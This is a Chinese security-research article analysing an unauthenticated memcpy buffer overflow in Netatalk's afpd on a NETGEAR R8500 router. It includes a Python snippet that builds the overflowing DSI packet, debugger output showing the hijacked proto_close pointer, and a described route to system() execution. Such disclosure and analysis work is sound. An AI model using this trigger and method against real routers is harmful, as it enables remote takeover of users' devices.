作者:cq674350529
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

2022年11月,SSD發布了一個與NETGEAR R7800型號設備相關的漏洞公告。根據該公告,該漏洞存在于Netatalk組件(對應的服務程序為afpd)中,由于在處理接收的DSI數據包時,缺乏對數據包中某些字段的適當校驗,在dsi_writeinit()中調用memcpy()時存在緩沖區溢出問題。利用該漏洞,攻擊者可以在目標設備上實現任意代碼執行,且無需認證。該漏洞公告中包含了漏洞的細節以及利用思路,但給出的poc腳本僅實現了控制流的劫持,缺少后續代碼執行的部分。下面將基于R8500型號設備,對漏洞進行簡單分析,并給出具體的利用方式。

漏洞分析

Netatalk組件在很多NAS設備或小型路由器設備中都有應用,近幾年吸引了很多安全研究人員的關注,陸續被發現存在多個高危漏洞,例如在近幾年的Pwn2Own比賽中,好幾個廠商的設備由于使用了該組件而被攻破,NETGEAR廠商的部分路由器設備也不例外。

NETGEAR廠商的很多路由器中使用的是很老版本的Netatalk組件

該公告中受影響的目標設備為R7800 V1.0.2.90版本,而我手邊有一個R8500型號的設備,在R8500 V1.0.2.160版本中去掉了該組件,因此將基于R8500 V1.0.2.154版本進行分析。在NETGEAR廠商的GPL頁面,下載對應設備版本的源代碼,其中包含Netatalk組件的源碼,可以直接結合源碼進行分析。以R8500 V1.0.2.154版本為例,其包含的Netatalk組件的版本為2.2.5,而該版本發布的時間在2013年,為一個很老的版本。

AFP協議建立在Data Stream Interface(DSI)之上,DSI是一個會話層,用于在TCP層上承載AFP協議的流量。在正常訪問該服務時,大概的協議交互流程如下。

其中, 在DSIOpenSession請求執行成功后,后續將發送DSICommand請求,而處理該請求的代碼存在于afp_over_dsi()中,部分代碼片段如下。正常情況下,程序會在(1)處讀取對應的請求數據包,之后在(2)處根據cmd的取值進入不同的處理分支。

void afp_over_dsi(AFPObj *obj)
{
    /* ... */
    /* get stuck here until the end */
    while (1) {
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);   // (1)
        /* ... */
        switch(cmd) {   // (2)
            case DSIFUNC_CLOSE:
                /* ...*/
            case DSIFUNC_TICKLE:
                /* ... */
            case DSIFUNC_CMD:
                /* ... */
            case DSIFUNC_WRITE:
                /* ... */
            case DSIFUNC_ATTN:
                /* ... */
            default:
                LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
                dsi_writeinit(dsi, dsi->data, DSI_DATASIZ);  // (3)
                /* ... */

函數dsi_stream_receive()的部分代碼如下。可以看到,其會讀取請求包中的數據,并保存到dsi->headerdsi->commands等中。

int dsi_stream_receive(DSI *dsi)
{
  /* ... */
  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (u_int8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];
  /* ... */
  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_code, block + 4, sizeof(dsi->header.dsi_code));
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);

  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = min(ntohl(dsi->header.dsi_len), DSI_CMDSIZ);
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) 
    return 0;
  /* ... */

afp_over_dsi()中,在(2)處,如果cmd的取值不滿足對應的條件,將會進入default分支,dsi_writeinit()函數將在(3)處被調用。函數dsi_writeinit()的部分代碼如下。在該函數中,會根據dsi->header.dsi_codedsi->header.dsi_len等字段來計算dsi->datasize,若其滿足條件,則會在(4)處調用memcpy()。其中,len參數與sizeof(dsi->commands) - headerdsi->datasize等相關。

size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)
{
  size_t len, header;

  /* figure out how much data we have. do a couple checks for 0 
   * data */
  header = ntohl(dsi->header.dsi_code);
  dsi->datasize = header ? ntohl(dsi->header.dsi_len) - header : 0;
  if (dsi->datasize > 0) {
    len = MIN(sizeof(dsi->commands) - header, dsi->datasize);
    /* write last part of command buffer into buf */
    memcpy(buf, dsi->commands + header, len);    // (4) buffer overflow
    /* .. */

根據前面dsi_stream_receive()的代碼可知,dsi->header.dsi_codedsi->header.dsi_len字段的值來自于接收的數據包,dsi->commands中的內容也來自于接收的數據包。也就是說,在調用memcpy()時,源緩沖區中保存的內容和待拷貝的長度參數均是用戶可控的,而目標緩沖區bufdsi->data的大小是固定的。因此,通過精心偽造一個數據包,可造成在調用memcpy()時出現緩沖區溢出,如下。

def create_block(command, dsi_code, dsi_len):
    block = b'\x00'                             # dsi->header.dsi_flags
    block += struct.pack("<B", command)         # dsi->header.dsi_command
    block += b'\x00\x00'                        # dsi->header.dsi_requestID
    block += struct.pack(">I", dsi_code)        # dsi->header.dsi_code
    block += struct.pack(">I", dsi_len)         # dsi->header.dsi_len
    block += b'\x00\x00\x00\x00'                # dsi->header.dsi_reserved
    return block

pkt = create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
pkt += b'A' * 8192

漏洞利用

首先,看一下DSI結構體的定義, 如下。dsi->data的大小為8192,在發生溢出后,其后面的字段也會被覆蓋, 包括proto_openproto_close兩個函數指針。因此,如果溢出后,后面的流程中會用到某個函數指針,就可以實現控制流劫持的目的。

#define DSI_CMDSIZ        8192 
#define DSI_DATASIZ       8192

typedef struct DSI {
  /* ... */

  u_int32_t attn_quantum, datasize, server_quantum;
  u_int16_t serverID, clientID;
  char      *status;
  u_int8_t  commands[DSI_CMDSIZ], data[DSI_DATASIZ];
  size_t statuslen;
  size_t datalen, cmdlen;
  off_t  read_count, write_count;
  uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
  const char *program; 
  int socket, serversock;

  /* protocol specific open/close, send/receive
   * send/receive fill in the header and use dsi->commands.
   * write/read just write/read data */
  pid_t  (*proto_open)(struct DSI *);
  void   (*proto_close)(struct DSI *);
  /* ... */
} DSI;

回到afp_over_dsi()函數,在while循環中其會調用dsi_stream_receive()來讀取對應的數據包。如果后續沒有數據包了,則返回的cmd值為0,根據對應的dsi->flags,其會調用afp_dsi_close()dsi_disconnect(),而這兩個函數最終都會執行dsi->proto_close(dsi)。也就是說,在后續的正常流程中會使用函數指針dsi->proto_close,因此,通過溢出來修改該指針,即可劫持程序的控制流。

void afp_over_dsi(AFPObj *obj)
{
    /* ... */
    /* get stuck here until the end */
    while (1) {
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);   // (1)
        if (cmd == 0) {
            /* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
            if (dsi->flags & DSI_AFP_LOGGED_OUT) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
                afp_dsi_close(obj);
                exit(0);
            }
            if (dsi->flags & DSI_RECONINPROG) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
                afp_dsi_close(obj);
                exit(0);
            }
            if (dsi->flags & DSI_RECONINPROG) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
                afp_dsi_close(obj);
                exit(0);
            }
            /* Some error on the client connection, enter disconnected state */
            if (dsi_disconnect(dsi) != 0)
                afp_dsi_die(EXITERR_CLNT);
        }
        /* ... */

void dsi_close(DSI *dsi)
{
  /* server generated. need to set all the fields. */
  if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
      dsi->header.dsi_flags = DSIFL_REQUEST;
      dsi->header.dsi_command = DSIFUNC_CLOSE;
      dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
      dsi->header.dsi_code = dsi->header.dsi_reserved = htonl(0);
      dsi->cmdlen = 0; 
      dsi_send(dsi);
      dsi->proto_close(dsi);        // hijack control flow
      /* ... */

基于前面構造的數據包,在劫持控制流時,對應的上下文如下。可以看到,R3寄存器的值已被覆蓋,R4R5寄存器可控,同時R0R2中包含指向DSI結構體的指針。

──────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
      0x6a2cc <dsi_close+272>  movw   r3,  #16764       ; 0x417c
      0x6a2d0 <dsi_close+276>  ldr    r3,  [r2,  r3]
      0x6a2d4 <dsi_close+280>  ldr    r0,  [r11,  #-8]  ; r0: points to dsi
●→    0x6a2d8 <dsi_close+284>  blx    r3
      0x6a2dc <dsi_close+288>  ldr    r0,  [r11,  #-8]
      0x6a2e0 <dsi_close+292>  bl     0x112c4 <free@plt>
      0x6a2e4 <dsi_close+296>  sub    sp,  r11,  #4
      0x6a2e8 <dsi_close+300>  pop    {r11,  pc}
───────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x61616161 (
   $r0 = 0x0e8498 → 0x0e1408 → 0x00000002,
   $r1 = 0x000001,
   $r2 = 0x0e8498 → 0x0e1408 → 0x00000002,
   $r3 = 0x61616161
)
─────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x6a2d8 → dsi_close()
[#1] 0x1225c → afp_dsi_close()
[#2] 0x13994 → afp_over_dsi()
[#3] 0x116c8 → dsi_start()
[#4] 0x3f5f8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────
gef?  i r
r0             0xe8498             0xe8498
r1             0x1                 0x1
r2             0xe8498             0xe8498
r3             0x61616161          0x61616161
r4             0x58585858          0x58585858
r5             0x43385858          0x43385858
r6             0x7                 0x7
r7             0xbec72f65          0xbec72f65
r8             0x10a3c             0x10a3c
r9             0x3e988             0x3e988
r10            0xbec72df8          0xbec72df8
r11            0xbec72c3c          0xbec72c3c
r12            0x401e0edc          0x401e0edc
sp             0xbec72c30          0xbec72c30
lr             0x6fffc             0x6fffc
pc             0x6a2d8             0x6a2d8 <dsi_close+284>

程序afpd啟用的緩解機制如下,同時設備上的ASLR 級別為1DSI結構體在堆上分配,故發送的數據包均存在于堆上,因此需要基于該上下文,找到合適的gadgets完成利用。

cq@ubuntu:~$ checksec --file ./afpd
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

通過對afpd程序進行分析,最終找到一個可用的gadget,如下。其中,[R11-0x8]中的值指向DSI結構體,整個執行的效果等價于[dsi] = [dsi + 0x2834]; func_ptr = [dsi + 0x2830]; func_ptr([dsi])。因為DSI結構體的地址是固定的,且偏移0x2834處的內容可控,通過精心構造數據包,可實現執行system(arbitrary_cmd)的效果。

針對不同型號的設備,具體的上下文可能不同,利用可能更簡單或更麻煩。

最終效果如下。

小結

本文基于R8500型號設備,對其使用的Netatalk組件中存在的一個緩沖區溢出漏洞進行了分析。由于在處理接收的DSI數據包時,缺乏對數據包中某些字段的適當校驗,在dsi_writeinit()中調用memcpy()時會出現緩沖區溢出。通過覆蓋DSI結構體中的proto_close函數指針,可以劫持程序的控制流,并基于具體的漏洞上下文,實現了代碼執行的目的。

相關鏈接


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/2047/